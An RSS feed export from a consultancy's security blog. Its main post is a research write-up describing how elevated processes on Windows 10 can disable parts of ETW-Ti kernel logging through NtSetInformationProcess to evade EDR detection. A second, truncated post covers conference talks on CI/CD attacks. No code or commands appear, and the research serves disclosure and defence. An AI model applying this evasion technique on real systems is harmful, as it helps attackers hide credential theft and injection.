<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Maxime Meignan, Auteur</title>
	<atom:link href="https://www.riskinsight-wavestone.com/en/author/maxime-meignan/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/en/author/maxime-meignan/</link>
	<description>The cybersecurity &#38; digital trust blog by Wavestone&#039;s consultants</description>
	<lastBuildDate>Mon, 09 Oct 2023 16:00:17 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>Maxime Meignan, Auteur</title>
	<link>https://www.riskinsight-wavestone.com/en/author/maxime-meignan/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>A universal EDR bypass built in Windows 10</title>
		<link>https://www.riskinsight-wavestone.com/en/2023/10/a-universal-edr-bypass-built-in-windows-10/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2023/10/a-universal-edr-bypass-built-in-windows-10/#respond</comments>
		
		<dc:creator><![CDATA[Maxime Meignan]]></dc:creator>
		<pubDate>Mon, 09 Oct 2023 15:59:50 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[EDR]]></category>
		<category><![CDATA[Windows 10]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=21101</guid>

					<description><![CDATA[<p>While studying internals of a mechanism used by all EDR software to get information about processes activities on Windows, we came across a way for malicious processes to disable the generation of some security events related to process interactions. This...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/10/a-universal-edr-bypass-built-in-windows-10/">A universal EDR bypass built in Windows 10</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>While studying internals of a mechanism used by all EDR software to get information about processes activities on Windows, we came across a way for malicious processes to <strong>disable the generation of some security events</strong> related to process interactions. This technique could be used to <strong>evade EDR software</strong> while performing malicious operations such as process memory dumping, code injection or process hollowing.</p>
<h2>A primer on EDR&#8217;s monitoring capacities</h2>
<h3>Usermode vs. kernelmode methods</h3>
<p>On Windows, EDR software mainly use two categories of techniques to monitor the actions performed by the processes: <strong><em>user-space </em></strong>methods, like <em><strong>function hooking</strong></em>, which are targeting each individual process, and <strong><em>kernel-space </em></strong>features, which are relying on <strong>OS-provided functions</strong> to collect system-wide telemetry about processes activity.</p>
<p>T<span style="font-size: revert; color: initial;">he<strong> first category</strong> can often technically be <strong>evaded by a malicious process</strong>, as long as it knows the exact techniques used by the EDR. Indeed, the monitoring code and the monitored code often <strong>run in the same &#8220;space&#8221;, the process&#8217; memory,</strong> so it boils down to a game of cat-and-mouse between the malware and the EDR, given that each can interact or alter the code of the &#8220;opposing party&#8221;.</span></p>
<p>For the <strong>second category</strong>, the monitoring code <strong>runs in the Windows kernel space</strong>, <strong>not directly accessible from any process</strong>, regardless of its privilege level. However, these monitoring capacities are <strong>provided by Windows itself</strong> to the installed security products, and all EDR software are forced to use them nearly identically to get telemetry about processes activity (how to detect malicious activity from said telemetry is obviously up to each EDR software).</p>
<p>For more in-depth information about the subject, both types of mechanisms were notably described <strong>in our article in the 116<sup>th</sup> edition</strong> of MISC magazine ( <a href="https://connect.ed-diamond.com/misc/misc-116/tour-d-horizon-des-mecanismes-de-supervision-des-edr" target="_blank" rel="noopener">FR (original)</a> or <a href="https://connect-ed--diamond-com.translate.goog/misc/misc-116/tour-d-horizon-des-mecanismes-de-supervision-des-edr?_x_tr_sl=auto&amp;_x_tr_tl=en&amp;_x_tr_hl=en-US&amp;_x_tr_pto=wapp" target="_blank" rel="noopener">EN (translated)</a> ). Also, to better understand the stakes of what follows in the present article, we recommend the readers to look at <strong>our article about EDR monitoring bypasses</strong> in the 118<sup>th</sup> edition of MISC magazine ( <a href="https://connect.ed-diamond.com/misc/misc-118/techniques-de-contournement-de-la-supervision-des-edr" target="_blank" rel="noopener">FR (original)</a> or <a href="https://connect-ed--diamond-com.translate.goog/misc/misc-118/techniques-de-contournement-de-la-supervision-des-edr?_x_tr_sl=auto&amp;_x_tr_tl=en&amp;_x_tr_hl=en-US&amp;_x_tr_pto=wapp" target="_blank" rel="noopener">EN (translated)</a> ), as well as the README of our tool, <strong><a href="https://github.com/wavestone-cdt/EDRSandblast" target="_blank" rel="noopener">EDRSandblast</a></strong>.&nbsp;</p>
<h3>Event Tracing for Windows &#8211; Threat Intelligence</h3>
<p>Among the aforementioned mechanisms, <em>Event Tracing for Windows &#8211; Threat Intelligence</em> (ETW-Ti for short in this article) allows the <strong>generation of events</strong> upon <strong>security-critical kernel operations</strong>, such as process creation, memory read/write between processes, executable memory creation, etc. (see our article in MISC 116 for more details).</p>
<p>The event feed produced by the mechanism is normally only &#8220;consumable&#8221; by security products, which need to be protected processes (<strong><em>PROTECTED_ANTIMALWARE_LIGHT</em></strong>), cryptographically signed as such by Microsoft.</p>
<p>These security events&#8217; creation is handled by the Windows kernel, and is implemented by simple calls to dedicated <strong><em>EtwTi</em>*</strong> functions, embedded inside each kernel function of interest. The following image shows the call to <em><strong>EtwTiLogReadWriteVm</strong> </em>inside the <em><strong>MiReadWriteVirtualMemory</strong> </em>function, the latter being responsible for memory reads and writes between processes.</p>
<p>&nbsp;</p>
<figure id="attachment_21135" aria-describedby="caption-attachment-21135" style="width: 347px" class="wp-caption aligncenter"><img fetchpriority="high" decoding="async" class="wp-image-21135 " src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-callToEtwTI.png" alt="A call to EtwTiLogReadWriteVm highlighted in a control-flow graph" width="347" height="516" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-callToEtwTI.png 405w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-callToEtwTI-128x191.png 128w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-callToEtwTI-26x39.png 26w" sizes="(max-width: 347px) 100vw, 347px" /><figcaption id="caption-attachment-21135" class="wp-caption-text"><em><strong>EtwTiLogReadWriteVm</strong> </em>call inside <em><strong>MiReadWriteVirtualMemory</strong></em></figcaption></figure>
<p>&nbsp;</p>
<h2>Our findings</h2>
<h3>A convenient exception</h3>
<p>Looking at the whole control flow graph of the function above, we see that the call to the ETW-Ti logging function is always performed in a successful call to <em><strong>MiReadWriteVirtualMemory</strong></em>, unless <strong><em>PsIsProcessLoggingEnabled</em> returns <em>FALSE</em></strong>.&nbsp;</p>
<p>This latter function, mentioned nowhere we could find in the Windows reverse-engineering literature, does the following (comments, variable names and types were reverse-engineered and/or inferred from <a href="https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/2110%2021H2%20(November%202021%20Update)/_EPROCESS" target="_blank" rel="noopener">public debugging symbols</a>):</p>
<figure id="attachment_21138" aria-describedby="caption-attachment-21138" style="width: 1299px" class="wp-caption aligncenter"><img decoding="async" class="size-full wp-image-21138" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-PsIsProcessLoggingEnabled.png" alt="decompiled source code of PsIsProcessLoggingEnabled" width="1299" height="787" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-PsIsProcessLoggingEnabled.png 1299w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-PsIsProcessLoggingEnabled-315x191.png 315w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-PsIsProcessLoggingEnabled-64x39.png 64w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-PsIsProcessLoggingEnabled-768x465.png 768w" sizes="(max-width: 1299px) 100vw, 1299px" /><figcaption id="caption-attachment-21138" class="wp-caption-text">Reverse-engineered source code of <em><strong>PsIsProcessLoggingEnabled</strong></em></figcaption></figure>
<p>As we can see, the function checks the state of a flag among <em><strong>EnableReadVmLogging</strong></em>, <em><strong>EnableWriteVmLogging</strong></em>, <em><strong>EnableThreadSuspendResumeLogging</strong> </em>and <em><strong>EnableProcessSuspendResumeLogging</strong></em>, indicating whether the currently performed action (among an inter-process memory read, memory write, thread suspension/resuming or a process suspension/resuming, respectively) should be effectively logged by ETW-Ti. These flags are located in various fields of the <em><strong>_EPROCESS</strong> </em>structure of the targeted process.</p>
<h3>Accessing logging flags</h3>
<p>By cross-referencing the use of the aforementioned flags in the kernel, we found that <em><strong>NtQueryInformationProcess</strong> </em>and <em><strong>NtSetInformationProcess</strong> </em>were used to get or set the specific bits corresponding to these logging flags.</p>
<p>While mostly undocumented, these functions have been scrutinized by Windows Internals reverse engineers (and malware developers) for a long time, since they handle the eponym <strong>system calls</strong> r<strong>eachable from user space</strong>. The <a href="https://github.com/winsiderss/systeminformer/tree/master/phnt" target="_blank" rel="noopener">System Informer project</a> (formerly known as Process Hacker) harbors an impressive database of function prototypes, structures and enums related to Windows Internals, gathered through the years thanks to &#8220;<em>a lot of reverse engineering and guessing&#8221;</em>.&nbsp;</p>
<p>The prototype of the <em><strong>NtSetInformationProcess </strong></em>function is the following:</p>
<figure id="attachment_21141" aria-describedby="caption-attachment-21141" style="width: 626px" class="wp-caption aligncenter"><img decoding="async" class="wp-image-21141 " src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-NtSetInformationProcess.png" alt="Prototype of NtSetInformationProcess" width="626" height="231" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-NtSetInformationProcess.png 729w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-NtSetInformationProcess-437x161.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-NtSetInformationProcess-71x26.png 71w" sizes="(max-width: 626px) 100vw, 626px" /><figcaption id="caption-attachment-21141" class="wp-caption-text">Prototype of <em><strong>NtSetInformationProcess</strong></em></figcaption></figure>
<p>The function can be used for more than a hundred use cases, depending on the value of <strong><em>ProcessInformationClass</em>.</strong> The function is implemented using a huge <strong>switch-case</strong> statement, and the specific code touching the logging flags is located under the <em><strong>ProcessEnableReadWriteVmLogging</strong> </em>and <em><strong>ProcessEnableLogging</strong> </em>cases (undocumented constants named by System Informer&#8217;s developers).</p>
<figure id="attachment_21144" aria-describedby="caption-attachment-21144" style="width: 1767px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-21144" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-NtSetInformationProcessImplem.png" alt="Reverse-engineered source code of NtSetInformationProcess" width="1767" height="922" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-NtSetInformationProcessImplem.png 1767w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-NtSetInformationProcessImplem-366x191.png 366w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-NtSetInformationProcessImplem-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-NtSetInformationProcessImplem-768x401.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-NtSetInformationProcessImplem-1536x801.png 1536w" sizes="auto, (max-width: 1767px) 100vw, 1767px" /><figcaption id="caption-attachment-21144" class="wp-caption-text">Reverse-engineered source code of <em><strong>NtSetInformationProcess</strong></em></figcaption></figure>
<p>The behavior of the code above can be reduced to the following points:</p>
<ul>
<li>The <em><strong>ProcessInformationLength</strong> </em>argument&#8217;s consistency is checked against the expected <em><strong>ProcessInformation</strong> </em>structure (i.e. flags are stored in a <em><strong>BYTE</strong> </em>or in a <em><strong>DWORD</strong></em>, see the expected structures for both <a href="https://github.com/winsiderss/systeminformer/blob/03f9a38939e461dca05fc7f7025c47999595abaa/phnt/include/ntpsapi.h#L948-L957" target="_blank" rel="noopener"><em>ProcessEnableReadWriteVmLogging</em> </a>and <em><a href="https://github.com/winsiderss/systeminformer/blob/03f9a38939e461dca05fc7f7025c47999595abaa/phnt/include/ntpsapi.h#L948-L957" target="_blank" rel="noopener">ProcessEnableLogging</a></em>);</li>
<li>Process privileges are checked: the call is only accepted if at least one of <em><strong>SeDebugPrivilege</strong> </em>or <em><strong>SeTcbPrivilege</strong> </em>is held by the calling process;</li>
<li>The kernel object (<em><strong>_EPROCESS</strong></em>) of the target process is recovered, while checking its handle does have the <em><strong>PROCESS_SET_LIMITED_INFORMATION</strong> </em>access right;</li>
<li>Different flags (from the <em><strong>Flags2</strong></em> and <em><strong>Flags3</strong> </em>unions fields of the <em>_<strong>EPROCESS</strong> </em>structure) are updated, based on provided <em><strong>ProcessInformation</strong> </em>structure.</li>
</ul>
<p>Flags that can be updated through this method are the following:</p>
<ul>
<li><em><strong>EnableProcessSuspendResumeLogging</strong> </em>(resp. <em><strong>EnableThreadSuspendResumeLogging</strong></em>): controls if a ETW-Ti event is raised upon <strong>process</strong> (resp. <strong>thread</strong>) <strong>suspension</strong> or <strong>resuming</strong>. These operations are used in <strong><a href="https://attack.mitre.org/techniques/T1055/012/" target="_blank" rel="noopener">process hollowing</a> techniques</strong>, for instance;</li>
<li><em><strong>EnableReadVmLogging</strong></em>: controls if an ETW-Ti event is generated upon <strong>memory reads</strong> across different processes. These operations are typically used in <a href="https://attack.mitre.org/techniques/T1003/001/" target="_blank" rel="noopener"><strong>LSASS dumping</strong></a>;</li>
<li><em><strong>EnableWriteVmLogging</strong></em>: idem, for memory writes across processes. These operations are used in most <strong><a href="https://attack.mitre.org/techniques/T1055/" target="_blank" rel="noopener" data-wplink-edit="true">process injection techniques.</a></strong></li>
</ul>
<h3>From the attacker&#8217;s perspective</h3>
<p>To sum it up, while the ETW-Ti mechanism cannot be disabled globally on the system from user-space (i.e., by a process), <strong>some of its features can be turned off</strong> by a process having the <em><strong>SeDebugPrivilege</strong> </em>or <em><strong>SeTcbPrivilege</strong> </em>privilege, which can be achieved by any elevated process.</p>
<p>As previously stated, t<span style="font-size: revert; color: initial;">he ETW-Ti event feed is normally only accessible to security products like EDR. However, in the above function, we see that any unprotected process can disable some logging features of another process <strong>without proving to the system it is a legitimate consumer of the ETW-Ti feed (e.g., an EDR)</strong>.</span></p>
<p>It is important to note that EDR often <strong>correlate multiple events</strong> to construct alerts, in order not to generate <strong>false positive</strong> results. For instance, a LSASS dumping is often divided in multiple steps:</p>
<ul>
<li>The opening of a handle to the <em><strong>lsass.exe</strong> </em>process having <em><strong>PROCESS_VM_READ</strong></em> access;</li>
<li>The actual reads of all relevant memory ranges;</li>
<li>The creation of a minidump file.</li>
</ul>
<p>If only the <em>handle</em> creation event exists, but the read events are <strong>not logged by ETW-Ti</strong> and the minidump file is encrypted or never written on disk, the EDR <strong>might not raise alerts</strong> regarding a LSASS process dumping, lacking evidence to do so.</p>
<h2>Affected versions of Windows</h2>
<h3>Differences between Windows 10 and 11</h3>
<p>The same analysis was performed on the <em><strong>NtSetInformationProcess</strong> </em>code of Windows 11&#8217;s kernel.</p>
<figure id="attachment_21163" aria-describedby="caption-attachment-21163" style="width: 1779px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-21163" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-NtSetInformationProcessImplemWin11Rectangle.png" alt="Reverse-engineered source code of NtSetInformationProcess on Windows 11" width="1779" height="1268" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-NtSetInformationProcessImplemWin11Rectangle.png 1779w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-NtSetInformationProcessImplemWin11Rectangle-268x191.png 268w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-NtSetInformationProcessImplemWin11Rectangle-55x39.png 55w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-NtSetInformationProcessImplemWin11Rectangle-768x547.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-NtSetInformationProcessImplemWin11Rectangle-1536x1095.png 1536w" sizes="auto, (max-width: 1779px) 100vw, 1779px" /><figcaption id="caption-attachment-21163" class="wp-caption-text">Reverse-engineered source code of <em><strong>NtSetInformationProcess</strong> </em>on Windows 11</figcaption></figure>
<p>The code shows two main differences. The first, and most important: the protection level of the process calling <em><strong>NtSetInformationProcess</strong> </em>is checked to “dominate” the <em><strong>ANTIMALWARE_LIGHT</strong> </em>level, using the call to <strong><em>EtwCheckSecurityLoggerAccess</em></strong>. A protection level is said to dominate another, if both following statements are true:</p>
<ul>
<li>The protection type (<em><strong>Protected</strong></em>, <em><strong>Protected Light</strong></em>, or <em><strong>Unprotected</strong></em>) is identical or stronger than the other protection level (<em><strong>Protected</strong> </em>is “stronger” than <strong><em>Protected Light</em></strong>, which is stronger than <strong><em>Unprotected</em></strong>, of course)</li>
<li>The <strong><em>Signer</em> </strong>dominates that of the other protection level, according to rules that are hardcoded in the Windows Kernel (reversed from the <em><strong>RtlProtectedAccess</strong></em> structure). The following graph describes these rules :</li>
</ul>
<figure id="attachment_21148" aria-describedby="caption-attachment-21148" style="width: 703px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-21148" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-ProtectedDomination.png" alt="Protected processes &quot;domination&quot; between different protection levels" width="703" height="355" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-ProtectedDomination.png 878w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-ProtectedDomination-379x191.png 379w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-ProtectedDomination-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/EDRbypass-ProtectedDomination-768x387.png 768w" sizes="auto, (max-width: 703px) 100vw, 703px" /><figcaption id="caption-attachment-21148" class="wp-caption-text">Protected processes &#8220;domination&#8221; between different signers</figcaption></figure>
<p>This means that only a <em><strong>Protected</strong> </em>or a <strong><em>Protected Light</em></strong> process with a signer being <em><strong>WinSystem</strong></em>, <em><strong>WinTcb</strong></em>, <strong><em>Windows</em> </strong>or <strong><em>Antimalware</em></strong> (i.e. a system component or a security product <strong>cryptographically signed by Microsoft as such</strong>) is authorized to use the <em><strong>NtSetInformationProcess</strong> </em>API to disable ETW-Ti logging features on Windows 11. This is an important improvement, as it sets a <strong>consistent boundary</strong> between <strong>security products and features</strong> on one side, and <strong>other processes</strong> on the other.&nbsp;</p>
<p>The second difference between Windows 11 and Windows 10’s implementation of <em><strong>NtSetInformationProcess</strong> </em>is that <em><strong>n</strong><strong><em>ew </em>logging feature bits</strong></em> seem to be writable with the API: <em><strong>EnableProcessLocalExecProtectVmLogging</strong> </em>and <em><strong>EnableProcessRemoteExecProtectVmLogging</strong></em>, seemingly used to enable/disable the monitoring of operations <strong>making memory executable</strong>.</p>
<p>As a side note, this feature seems either bugged or not completely implemented yet, since in the code above, the bits are not reset by the bitwise AND operation (<em><strong>InterlockedAnd</strong></em>), the corresponding features thus cannot be turned off using this API.</p>
<h3>Exact scope of affected versions</h3>
<p>Analysis of various kernel builds across different Windows versions showed that <strong>the first available build of Windows 11</strong> (21H2, version 10.0.22000.194) <strong>already implements the security check</strong> performed by <strong><em>EtwCheckSecurityLoggerAccess </em></strong>previously described<strong><em>.</em></strong></p>
<p>On the other side, in the <strong>last available version of Windows 10</strong> at the time of writing (22H2, version 10.0.19041.3393), the <strong>security check is still absent</strong>, while this build being 2 years more recent. This very likely indicates that Microsoft is well aware of the problem and does not patch the weakness voluntarily, likely for retro-compatibility reasons.</p>
<p>The different feature bits and their related handling by <em><strong>NtSetInformationProcess</strong></em> appeared progressively during Windows 10&#8217;s product life. The following table sums up the affected versions:</p>
<table style="height: 372px; width: 100%; border-collapse: collapse; border-style: solid;"><caption><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> : ETWTi logging function does not exist yet<br><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> : ETWTi logging can be disabled<br><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> : ETWTi logging cannot be disabled</caption>
<tbody>
<tr style="height: 118px;">
<td style="width: 20%; height: 118px; text-align: center;">&nbsp;</td>
<td style="width: 14.4048%; height: 118px; text-align: center;">
<p><strong>Win10</strong></p>
<p><strong>1507 -&gt; 1703</strong></p>
</td>
<td style="width: 14.9999%; height: 118px; text-align: center;">
<p><strong>Win10</strong></p>
<p><strong>1709 -&gt; 1803</strong></p>
</td>
<td style="width: 15.2381%; height: 118px; text-align: center;">
<p><strong>Win10</strong></p>
<p><strong>1809 -&gt; 22H2</strong></p>
</td>
<td style="width: 15.3571%; height: 118px; text-align: center;">
<p><strong>Win11</strong></p>
<p><strong> 21H2 -&gt; 22H2</strong></p>
</td>
</tr>
<tr style="height: 68px;">
<td style="width: 20%; height: 68px; text-align: center;"><strong>Read virtual memory operation</strong></td>
<td style="width: 14.4048%; height: 68px; text-align: center;"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td style="width: 14.9999%; height: 68px; text-align: center;"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td style="width: 15.2381%; height: 68px; text-align: center;"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td style="width: 15.3571%; height: 68px; text-align: center;">
<p><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
</td>
</tr>
<tr style="height: 46px;">
<td style="width: 20%; height: 46px; text-align: center;"><strong>Write virtual memory operation</strong></td>
<td style="width: 14.4048%; height: 46px; text-align: center;"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td style="width: 14.9999%; height: 46px; text-align: center;"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td style="width: 15.2381%; height: 46px; text-align: center;"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td style="width: 15.3571%; height: 46px; text-align: center;"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr style="height: 70px;">
<td style="width: 20%; height: 70px; text-align: center;"><strong>Process suspension / resuming operations</strong></td>
<td style="width: 14.4048%; height: 70px; text-align: center;"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td style="width: 14.9999%; height: 70px; text-align: center;"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td style="width: 15.2381%; height: 70px; text-align: center;"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td style="width: 15.3571%; height: 70px; text-align: center;"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr style="height: 70px;">
<td style="width: 20%; height: 70px; text-align: center;"><strong>Thread suspension / resuming operations</strong></td>
<td style="width: 14.4048%; height: 70px; text-align: center;"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td style="width: 14.9999%; height: 70px; text-align: center;"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td style="width: 15.2381%; height: 70px; text-align: center;"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td style="width: 15.3571%; height: 70px; text-align: center;"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<h2>Final words</h2>
<p>In conclusion, the mechanism described in this article actually allows an <strong>elevated malicious program</strong> wishing to <strong>perform nefarious actions</strong> (process injection, LSASS dumping, process hollowing, etc.), to <strong>carefully disable related telemetry</strong> before doing it, removing critical evidence from EDR monitoring, thus greatly improving its chances of <strong>not being detected</strong>.</p>
<p>Multiple pieces of evidence show that<strong> Microsoft is aware of the weakness</strong>, but is <strong>not changing the API behavior retroactively</strong> on Windows 10, likely due to retro-compatibility issues.</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/10/a-universal-edr-bypass-built-in-windows-10/">A universal EDR bypass built in Windows 10</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2023/10/a-universal-edr-bypass-built-in-windows-10/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Wavestone’s cyber summer</title>
		<link>https://www.riskinsight-wavestone.com/en/2022/10/wavestones-cyber-summer/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2022/10/wavestones-cyber-summer/#respond</comments>
		
		<dc:creator><![CDATA[Maxime Meignan]]></dc:creator>
		<pubDate>Fri, 14 Oct 2022 08:00:00 +0000</pubDate>
				<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Focus]]></category>
		<category><![CDATA[camp]]></category>
		<category><![CDATA[hackers]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=18813</guid>

					<description><![CDATA[<p>  This year again, we were delighted to be able to share our knowledge during Hacker Summer camp (cybersecurity conferences that happen roughly at the same time in Las Vegas each year: BlackHat, BSides Las Vegas, and DEFCON). (Thomas is...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/10/wavestones-cyber-summer/">Wavestone’s cyber summer</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">This year again, we were delighted to be able to share our knowledge during <em>Hacker Summer camp</em> (cybersecurity conferences that happen roughly at the same time in Las Vegas each year: BlackHat, BSides Las Vegas, and DEFCON).</p>
<p style="text-align: justify;"><em>(Thomas is missing in this picture as he already left DEFCON to attend SANS DFIR Summit in Houston, TX).</em></p>
<p style="text-align: justify;">In this article, we share the materials used for our talks, workshops, and tool demos.</p>
<h2 style="text-align: justify;"> </h2>
<h2 style="text-align: justify;">CI/CD security</h2>
<p style="text-align: justify;">CI/CD pipelines are increasingly becoming part of the standard infrastructure within dev teamsand with the rise of new approaches such as Infrastructure as Code, the sensitivity level of such pipelines is escalating quickly. , with the rise of new approaches such as Infrastructure as Code, the sensitivity level of such pipelines is escalating quickly. In case of compromise, it is not just the applications that are at risk anymore but the underlying systems themselves and quite often the whole information system.</p>
<p style="text-align: justify;">We feel that those infrastructure, while not targeted by attackers for now, will become a prime focus point for attackers in the years to come. Both because of the credentials handled by the pipelines and the usual lack of monitoring on those environments.</p>
<p style="text-align: justify;">During Hacking Summer Camp, we explained how attackers are beginning to exploit those weaknesses both for supply chains attacks but also to escalate their privileges within the victim IS. We started with a talk at BSides Las Vegas which illustrated an attack path that we had already exploited in a real operation. Then, we conducted two workshops, at both BSides Las Vegas and at DEFCON, to allow students to exploit these attacks on a full-scale lab.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-18805" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/09/etecyberWSImage2.png" alt="" width="1068" height="766" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/09/etecyberWSImage2.png 1068w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/09/etecyberWSImage2-266x191.png 266w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/09/etecyberWSImage2-54x39.png 54w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/09/etecyberWSImage2-768x551.png 768w" sizes="auto, (max-width: 1068px) 100vw, 1068px" /></p>
<p style="text-align: justify;">The lab &amp; slides will soon be published on the GitHub (<a href="https://github.com/wavestone-cdt/DEFCON-CICD-pipelines-workshop">wavestone-cdt/DEFCON-CICD-pipelines-workshop (github.com)</a>.</p>
